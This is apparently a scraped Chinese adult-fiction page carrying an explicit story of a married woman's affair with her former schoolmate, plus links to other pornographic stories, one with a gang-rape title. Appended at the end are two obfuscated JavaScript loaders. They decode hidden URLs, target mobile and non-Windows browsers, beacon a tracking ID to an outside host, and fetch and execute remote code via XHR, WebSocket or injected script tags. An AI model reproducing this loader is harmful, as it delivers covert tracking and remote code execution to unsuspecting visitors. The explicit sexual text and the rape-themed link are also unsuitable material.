图片载入中

绫子廿五岁蛮横狂野的肉悦

特大字】 【大字】 【中字】 【小字

高大的男子,浑身上下总是充满了野兽的气息。

真行寺绫子凝视着正抱着自己上床的男子,逐渐失去了理智。

从一同到旅社时已经有了觉悟,性关系的发生也就顺理成章。只是,男子突然闯入浴室,抱起裸身的绫子。

不知什么时候,男子也一丝不挂。就在抱起前,绫子看到膨胀中的男性性器官,正勃起到令人难以置信的程度。

丈夫勇太由于担任电力厂筹建的技术指导而单身前往南美洲的秘鲁赴任。与丈夫没有肌肤之亲已经有十个月了。

结婚两年,才刚开始体会到鱼水之欢的乐趣便调职他处,对绫子而言,简直是切身之痛、莫大的悲哀。如果不是因为治安上的问题和为了照顾同住的弟弟,绫子就不会困扰而理所当然地和丈夫前往秘鲁。然而,现实却是使绫子留在日本过着等待丈夫归来的日子。日为思念丈夫的缘故,使得许久不曾自慰的她又重施故技,是当然的事。

绫子对性持开放的观念。从高中时代起,就献上处女之身给旅行时结识的大学生;到邂逅目前的丈夫为止,已经和许多男生有了肉体关系。

那时候,同一所高中内有位高她一届的学长,那个人就是现在躺在绫子身旁的小岛靖志。

靖志是当年高中的明星选手。那时候的绫子,也对他抱着热切的倾慕;然而靖志的周遭总是有许多女孩子围绕着,因此绫子时常从远远的地方望着他。如令绫子甚至想着,也许是那样对他的一种敌对之意,才会在旅行中奉献初夜给结识的大学生。

“如果你是一朵花的话,如今是盛开的时节吧!”靖志从床边站起来,微笑着俯视绫子。

虽然有些不悦,但那结实的肉躯还是映入了绫子的眼帘。膨胀的褐色龟头前端流出了黏稠的水滴,牵成了长长的一丝垂落而下。光是想像而已,两股间就热起来,微温的体液从肌肉的凹折处一波波的涌出来。

“我是从你弟弟那儿听说你的事,还包括结婚和你先生单身前往外国赴任的事,是吧?”绫子也是从弟弟那儿偶然得到靖志在敬一就读的高中篮球队担任教练一职的消息,但是结婚后到现在,那只不过是闲话家常而已。

“我从高中时就对你有好感了,只是认为你也许已经有情人了,所以不敢有所表示;而刚好篮球队里有个人,名叫奥田敬一,便试着打听看看,于是知道了他就是你弟弟。难道这不是命运的安排吗?”“可是,现在的我不是奥田,改姓真行寺了。”“那种事有什么关系!”听靖志这么一说,绫子很快将丈夫的存在抛到九霄云外去了。

两个人相隔八年再度重逢,到目前为止还不到一个月。靖志以制作高中时代篮球队的OB名册为由,造访绫子的家。以后,两个人陆续见面,终于进了爱情旅馆。

她丝毫不后悔,所以在饭后的邀约下便默默地随他来到这里。

在浴室内光着身子洗澡时,绫子便察觉自己敏感的下体炽热地燃烧着。黏腻的爱液也多得无法自制,就好像在怂恿着二十五岁的贞操地涌出;预料将与男性器官做久违的结合,因此阴道深处恣意蠕动着,这使得绫子满面通红。

所以绫子知道全裸的靖志将用他那家伙插入自己的身体,不由得抓住浴缸的边缘以支撑往她羞耻、颤抖的女体。

“回忆又涌现出来了啊!”靖志站在床边独自说着。

与细长骨感极不对称的,是他那雄赳赳的阴茎,不断的脉动,猛烈地敲击着下腹部。痉挛着雄大的肉囊晃动着,宛如男性强烈的欲望象征。

“什么?想起什么了?”“那时候……高中的时候我总是想着你的倩影,做这样的事来分散精力。”绫子的视线盯住了他。靖志的右手握紧了高高矗立的肉柱,开始慢慢地搓来搓去;本以为他很快就会停止的,谁知道他的右手的动作仍然持续着。

“……”绫子慌忙想别过脸去,但却无法做到,就像被施了催眠术一般,颈子动弹不得。

“所以如今的情形,就像作梦一样。”这么一说,靖志总算放开了肉棒,一上床就弯下身,彷佛要将绫子包住。

靖志的脸逼近,好像早已等待多时般,绫子的唇张了开来。除了洁白的牙齿外,靖志按住了她整个唇,在这同时下意识地将他的硬直家伙在光洁柔软的大腿上摩擦。

靖志的舌头就像活生生的生物般舔舐着牙龈,缠住绫子的舌,绫子回以一个热烈的吻,慢慢地伸出手握住他的阳具。

那东西和前天晚上使用的香肠道具比较起来,显得更热切有力,握在手中能有确实的存在感,脉膊“怦怦、怦怦”地跃动着,强又有力地弹动紧握的手指。

虽然茎干是僵直的,但血液的流通却有一般柔软的脉流。

很久没有握到男人的阴茎了,绫子几乎要哭出来,丈夫不在的十个月空白,彷佛一瞬间都消散了。肉棒的强烈震动,清晰地传达它的存在。

“被你的手握住,真的像做梦一样呀!”靖志在她耳旁情不自禁地倾诉,一股更深的感动浮出。绫子的肉体深处还不断有蜜一般的汹涌涌出,阴道抖动着,所有的裂口逐渐浸湿一片。

“啊……啊……”一种情不自禁的呻吟声扬起,掌中握住弹跳的肉棒,也握得比先前更用力。

“喂……喂,可以轻轻地摩擦吗?你这么用力,我很快就会射出来哟!”靖志模煳的声音对现在的绫子来说确实是耳边风,绫子静静地摩擦着,一边想像高中时代的靖志以手淫自慰的情形。那时他的脑海中浮现出绫子的胴体,而绫子对于篮球队的学长靖志,也在心中描绘着,同时沉溺于偷偷的手指游戏中。

耳根子旁充斥着靖志的低喘声,越来越急促。绫子兴奋起来,她贪图以自己的手指游戏换取男性性交前的愉悦。以女方来说,感觉应该不坏,更何况是对于已知晓性事欢愉的年轻妇人;正因为刚结束了长期禁欲的生活,所受的刺激也越大。

“这样子舒服吗?”绫子完全忘记丈夫的存在,不由得口无遮拦,忘了原本该有的害羞与矜持。

“啊……受不了了!好像真的要出来了啊!哦……”就在听到靖志那逼真的声音当儿,绫子的全身穿流过一阵颤抖,光是想像那白色精夜喷出的瞬间,绫子就清晰地尝到了所谓高潮的滋味。预料中那是一种极致的波潮起伏,之后持续一会儿的疯狂似的感受;虽只是想像,却分泌丰沛的淫水;生长于两股间柔软的肌肉,就像活生生的贝一般,咻地收缩起来。

曾经是高中时代高一届的学长小岛靖志,接住绫子不间断的叹息喘气。靖志对异性经常抱持兴趣,而这些女生对他来说更是无往不利,因此对于床上女人的行动很能够把握;因此,绫子不停倾吐热息代表何种意义,他自然十分明白。

既已为人妻,当然也就了解男人性器官的构造,也应该熟知那东西是如何引发女性的快感。

靖志对于自己身上的东西,可说是拥有绝对的自信。在这之间曾与数不清的女性交欢过;从十五岁的少女,到年过四十的寡妇。与许多不同年龄,不同阶层的女性,甚至性经验丰富的女性,靖志的阴茎都能让对方感动涕泣,浑然忘我。

而丈夫单身赴任,与丈夫分居十个月的女人,更轻易地能成为俘虏。

果然不出所料,曾经叫做奥田绫子的真行寺绫子,自重逢那天起就透露出丈夫不在时的寂寞感;在一触即发的情况下,无论何时邀约都兴高采烈地出现在约定的场所。

于是,在已不知是第几回约会的今日,躺在爱情旅馆的床上,不仅如此亳不保留地暴露出发烫的柔肌,还将丈夫之外的男人,那高高突兀隆起的家伙紧握在手上,并且气喘吁吁。

靖志对于绫子的身体处在哪一种状态下,有什么需求,是再了解不过的。因此他故意仅止于亲吻的动作,而不爱抚她的其它部位。他紧追着绫子肉体上的饥渴状态,企图将她的性欲求提升至最高程度。

而后,产生了如靖志预料的效果。绫子恨不得早一刻让自己手中紧握的肉棒进入热情的秘密孔道内。只是,她并不以言词厚颜哀求,只在心中呐喊着:“真希望快点、快点进去……”与在秘鲁工作的丈夫断绝性关系已超过十个月。二十五岁之身,正因为连想都没试着想过与丈夫别居度日是何等苦恼难过,所以绫子的脑海中总是充斥着一片性的联想。

在路上一见到年轻夫妇或情侣,便有意图想弄清楚他们两人今夜是否做爱;不仅如此,还想像着闺房之乐的香艳情景。

刺激恼人的感觉开始时,走起路来可就惨了。秘肉的裂口处不断增加的润滑液,沾湿了内裤;不仅贴住皮肤,还扭成条状向内齿噬进去。在岁行之中磨擦着阴唇,遭受着刺痛一般的快感,就连挺拔的树木也会倾垂不支。这时候便赶紧趋身前往百货公司内的内衣贩卖部购买新的内裤,然后到洗手间去替换下来。接着再晃动自己那濡湿的内裤,以自慰的方式平息自己高涨的性欲. 如今,手中紧握的是做梦都想看见的热情肉棒,而且对象是高中时代所憧憬的小岛靖志。因为是有夫之妇,所以不若从前少女时代那小鹿乱撞的心情;如今的身体,在情的欲求上更为强烈。

“好舒服哦……甜蜜吗?”靖志的话真令人开心,但被认为婚后的性生活中具有对男人性器官的熟练技巧,绫子觉得十分害臊。

“我不太懂的。”绫子一直辩解,手中却是轻柔地握住那硬挺的一物,前后摩擦它的表皮,一点也没有要停止的意思。

对于自己大胆的行为带给靖志的欢愉,绫子感到十分地兴奋。

靖志故意夸张的扭动着。他确实有快感。被别人的妻子所侍候的现实,那种充实的感觉真是难以替代,兴奋与快感也更强烈。所以表现出过度反应,使绫子更加兴奋,也就更加大胆,正好可以掌握住她的行动。

因自己的爱抚使女方燃起激情的火花,总比像生硬的玩偶躺在那儿,有更大的满足感吧!对男方来说也许是如此。

女方也是一样的。与其多处于被动的状态下,还不如自己主动给予大胆的爱抚,使男方兴奋地扭动身体;也许会感到某种程度的讶异,但欢愉却远胜于此。

“啊……多爽呀!”不知已是第几次的嚷嚷,同时腰部上扬,两脚撑直地喘着气息。

接下来可不是演戏了,靖志出现了即将射精的预兆,茎干的中心痉挛,腰骨“喀喀”作响,显得迟钝,差不多该让她停止了吧?

看见成为别人妻子的绫子那惊愕的表情也不坏,她那蒙胧的双眸凝视着握紧的肉棒,靖志知道,那是一种渴求男性的强烈饥饿感所造成的结果,内心直唿快哉!这个女人在乞求,摩拳擦掌,心头痒痒,蓄势待发。

靖志忍住喷出的欲望,因而下腹饱涨。已经膨胀到极限的阴茎,在柔软的手中高高地翘起,从前端首先渗透出黏稠状的透明溶液。

终于绫子的手停止动作。也许是渐趋强烈的欲望使她连唿吸都很困难吧!那是一种强作忍耐的神情。她的视线于是望向龟头。

靖志盘算着:“在第一次的关系中,到底要不要求她呢?”一面便发出温柔的声音。

“拜托你,吸我好吗?”他想着就算被拒绝,待会儿她也会禁不住如此做的打算。

绫子什么也没说,一点也看不出拒绝的样子,就像是梦游者一般,慢慢将头靠近阴茎,让柔软的朱唇舔舐着龟头的前端。

只有最初的几秒间,她羞答答地扭动一下。一想到绫子美丽细致的指间抚摸着茎干的四周,就像包裹着表皮前端般,咻地一声压住了肉茎的根部。

“唔……哦哦哦……”就连那样身经百战的靖志,也认真地兴奋起来了。如果是经验不够的男人,恐怕此刻已经洋溢着欢喜的预兆了。

靖志设法忍耐,但不能不对绫子提出要求了:“喂喂,那样的话是要我射出吗?只要舔舔就好了嘛!”“对不起,不知不觉着迷了……”绫子的嘴从阴茎移开,彷佛对自己的行为感到羞耻般,满脸通红地道歉。

“不,是爽过头了。只是还不想射出来,只想慢慢地享受你的肉体……”靖志双手扶住绫子的头,将她导入自己的两股间。肉茎又跃动在热唿唿的口腔内:“也碰我那袋子。”丈夫在那方面还没要求过,“袋”这个名词听起来让人感到不悦。女体晃动了一下,但是却也没有嫌恶感。情形正好相反,绫子一点也不害怕,依靖志所希望去触摸。从那儿传来了不可依靠的柔软触感,她能确认两个卵蛋的存在。

现在应该可以做“那件事”了……绫子脑海中浮现出自阴茎前端喷出那呛人气味的白色精液,不禁垂涎三尺。

听到靖志那舒服的喘气声,女体也出现了明确的反应。不仅乳房膨胀,乳头也发硬到一札一札的疼痛地步;体内满是许多热烈的波潮荡漾着。

比起上述更明显的反应出现在股间的裂口处,这儿正燃烧似地发烫着。从内部涌出的火热蜜液,无可抑止地从裂口不断奔流而出;出了阴边的爱液来到会阴部一直延流到臀部的接缝处。这时候可真是难耐刺痒,绫子不由得弯曲胴体。

接着,宛如潮水般更多的淫液濡湿了阴道口,衍生了另一种新的刺痒感。

绫子浑然忘我,将口中的东西轻轻咬了下去。她刚这样一咬,靖志的腰身立刻弹了起来。龟头的前端被挤出少许混有精子气味的液体,宛如啃甘蔗时流出的汁儿,在口中扩散开来。

绫子合拢了嘴角,“啊……对,就这样!”靖志的低语声很快在耳边响起。

“那,也快点爱抚我吧!”虽然很想告诉他,却怎么也开不了口。犹如隔靴搔痒般,绫子是如此焦躁不安。

这使得绫子出现了不自觉的动作:玩弄肉袋、搓揉睾丸、摩擦肉干。她无法克制,并且在不知不觉中,将耻丘和男人的小腿相摩擦。

“果真……”靖志眯眼看着绫子那股积极劲儿,性饥渴女性的行为,并没有鼓舞男方的情绪。满是体毛的小腿,即刻感受到绫子的耻肉已经湿得惊人。

“喏,我已经享受到充份的服务了,这次换我了。”靖志将贴着绫子脸部的下半身移开,若无其事地命令着。

“四肢像这样好吗?像狗的样子。”绫子用手拢上额前倾垂的头发,投射出含恨的目光。

绫子的动作还在迷惑中,靖志还是自信十足地认为最后她会自己移动。

果然,预料中的事发生了。绫子一言不发,摆出他要求的姿势。

靖志慢慢地起身,同时内心感到嫉妒。

靖志并不认识绫子的丈夫。他心想,若是绫子的丈夫要她做同样姿势的话,她也会唯命是从地答应吧!一想像这光景,就不想输给那男人。

“啊,真羞人!”她心里嘟嚷着,靖志想像她与丈夫的交合颇有对抗之意。

“有什么好害臊的?这样做的话,女方的一切都能一目了然,男方也处在兴奋的姿态。你的话应该了解吧?”的确丈夫也曾要求她将四肢摆成这样,而且也强迫绫子也看到镜中的景像。

就像路上交合的犬畜牲般,她为这种羞死人的姿势而面红耳赤;另一方面视线却从头到尾盯住那三角镜。

绫子悄悄地环视周围。爱情旅馆内没有三角镜这类的东西,更衣室和浴室内有镜子,但设计成镶嵌式。

要摘下它们是不可能的,绫子因此放心。但就因明白此种状况而耿耿于怀;从女人的角度来看,女人两股间绝不会好看。

而男人的性器官就视觉上来看更是丑恶,但对于知晓性趣的女人而言,拘泥于形状、色泽和大小之间,只热情得噗通直跳。

“可是,真羞人呢!”绫子终于不得不脱口而出,但那样的话其实等于对自己的辩解。靖志的唿吸在背后移动,当到达屁股缝时,绫子不安地摇晃着腰身。她心里虽然无地自容,但对于到目前为止所揭露全部的自我,感到前所未有的兴奋。

这些括约股收缩的情形,绫子也没察觉。秘孔反复收缩,阴道深处彷佛被挤压般,随着芳香的爱液向外流出。靖志凑近来瞧那地方,她羞得几近颤抖。

不过,那种身体的颤抖逐渐被快感所取代。很快的,一种新的兴奋感笼罩全身,产生更高层次的快感。

“唉呀,不要这样看人家嘛!”绫子彷佛回到高中生的年纪,发出那种撒娇的声音。

“我想再仔细瞧瞧,屄屄光是看看就有价值呀!”靖志口中迸出了下流猥亵的脏话,传到耳边时,绫子股间感受到被上推的冲击。就因为暧昧,才嗜到了快感的滋味。

她不断呻吟着,脸颊不停地摩擦着床单,屁股高高地向后凸起,女方的耻部全被看得清清楚楚。从后方那惹人爱怜的缩口处望向前门,通体膨胀却又划过一条裂缝而开;淡红色光泽的一块块肉片,就像一尾活生生的鲍鱼蠢蠢欲动,无法不使男人赏心悦目,且享受无穷的乐趣。

肿得秾纤合度的阴唇外侧,黑色的阴毛就如修剪整齐的草坪般生长着;毛梢处那爱的滴露,现在正垂垂欲坠。左右两片阴唇覆盖的狭窄裂口,装满了透明的液体,不禁使人兴起想要得手的欲望而气喘吁吁。

从没想到这世上竟有如此淫荡之物,靖志像个小孩子得到中意的玩具般,心脏“砰砰”地看得入迷。不久之后,渐渐无法忍受,他的整片舌头开始舔起那龟裂处。

五体奔驰的压倒性快感令绫子全身激荡,往上一跃而起。但是,靖志却很快地收回舌头,绫子感到股间空虚,扭动着身子。正因尝到了所请电击式的一瞬间快感,所以才恨透了那逃之夭夭的舌头。

“再来……拜托!”好不容易说出这句话,整张脸到脖子都泛红了,臀部不悦地振动着。她露骨地揭示出自己的意志,已经无暇顾及什么羞耻之类的东西,屁股不住地摇晃。

“想要再舔吗?”靖志早已明白,故意以念煳的口吻说着。

绫子大大地点头。

对男人而言,征服女人最初的乐趣,就在一瞬间。

“想要我舔哪里?”“全部……全部都要!”她大幅地摇动那雪白的屁股,那正是绫子表示希望被舔部位的具体行为;可是,靖志要她以具体的言语表达。

“全部是指什么我不懂罗,好好说出名称啦!”这下子绫子混乱了。靖志随口说出的女子性器俗称,就算撕破了嘴她也不愿说。尽管如此,代称的辞汇却怎么也想不起来。靖志希望她怎么说,绫子当然明白。可是,她还是说不出口。

“我的……重要部位!舔我那里好吗?”就连如此说,她的声意仍是尖尖的。

“不行,仔细的说。如果不知道就不会叫你说了。喏,快说呀!”靖志含怒的口气脱口而出,接着对这盛满爱液的裂口吹入温暖的气息。

“啊唔唔唔……哈……”屁股胡乱地扭动着,绫子火球般越滚越热的意识里喊叫着:“我的屄屄!啊啊……舔我的屄屄!”到刚刚为止打算撤除的羞耻心再度复苏,全身泛着一片通红。

“再说一遍。”受到男方的怂恿,绫子毫不犹豫地叫出同样的话。真不可思议,冲破了闭塞的外壳,她被一举向外跃出的解放感所笼罩。

靖志固执地持续要求下,绫子终于说出从末说过淫荡的言语。

就在绫子被肉欲的波潮所淹没之后,大舌头冷不防地开始吸吮起来。绫子快乐的悲鸣而抬高了屁股,将股肉的裂口压住靖志的脸;羞耻之情早已烟消云散。

一面看着淫乱得不成体统的绫子,擅长操纵女生的靖志,尽情地使用舌头碰触她的阴蒂,扫过肛门,有时还将舌头侵入肉壁深处,啜饮那满溢的爱液。

舔扫肛门的时候,就连身子也硬了起来,从屁股的洞穴中涌出了不可思议的异样快感,然后就投降了。

很快地,欢乐的情境成了半狂乱的状态。所谓肛门是不洁之处的这种意识,瞬间烟消云散。丰满的臀部应和着舌头使劲地推起推落。

强烈的快感,是无法想像的欢愉,把这性肌渴的女性带进乐园了。

“要死了!啊……好!天哪!怎么办……”她在胸部下方抱入枕头,摩擦着乳房。被压扁的乳头产生了穿刺般锐利的性感,像电击式地传到身体的各个角落。绫子等不急真正的阴茎插入,好体会更大的快感巅峰。

在后方紧紧贴着耻部的靖志,从注入舌头的多量爱液和女体激烈的僵硬,知道她达到了高潮,于是靖志终于从屁股间抬起了头,一边抚摸着引以为傲的肉棒暗自笑着。

他抬起被汨汨爱液淋湿的脸,突然两手抱住绫子的屁股。在毫无预告的情况下,肥大的阴茎就“噗”的一声闯进了张开大口的淫门。一瞬间,室内充满了高频牵动的高潮声扰乱了室内的空气。

靖志突然直伸入底,用龟头的前端刺入子宫颈管,就要把那把匕首给拔落一般地拉出。

“啊……不要!”拔掉的话就太杀风景了,绫子晃动屁股紧追肉棒。

“没关系,我不会拔出的。”靖志不加思索的说着,以满足的表情眺望着包住肉棒而颤动的女性全身。

“唿唿,好风景。我的鸡鸡刺进你的屄屄里,好湿好湿,真下流嘛!”“啊……啊……插……受不了了!使劲插!”“这样吗?”靖志插进一些些。他慢条斯理的,已经等不急的绫子,高高地扬起屁股叩住靖志的下腹,将那硬挺膨大的异物取入自己的阴道深处。

靖志的腰被大幅地回转,由于硬挺的肉棒摩擦着阴道深处,绫子不禁发出高潮的呐喊:“啊啊啊……好爽!这还是第一次……狂野哟!全上了!”紧贴住肉棒的括约肌收缩,就连忍耐性强大的靖志也被逼到紧要关头。肉袋咻咻地缩住,睾丸往上涌,这是即将喷出的预兆。

“哦哦……好像要出来了……受不了啦!”靖志吐出了真实的声音。

“我也要……一起……拜托,全上了!”狂乱地晃动屁股的人妻之姿,是如此不寻常地煽情。

靖志也唿应着,展开激烈的活塞运动。性器官相摩擦,黏稠的淫靡之音,成为独一无二的伴奏乐章。

“啊啊啊啊……走吧!一起上!你也一起来!唔唔唔……来……来了……”两个人都奔腾于高潮的巅峰。

热腾腾的精液注入子宫时,绫子以大量的爱液浸浴着肉柱,浮游于久久未曾来到的甜美世界。


上一篇:为掩护别人逃脱搜捕,美少妇惨遭大兵轮奸

下一篇:私家女侦探的郁闷之夜


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};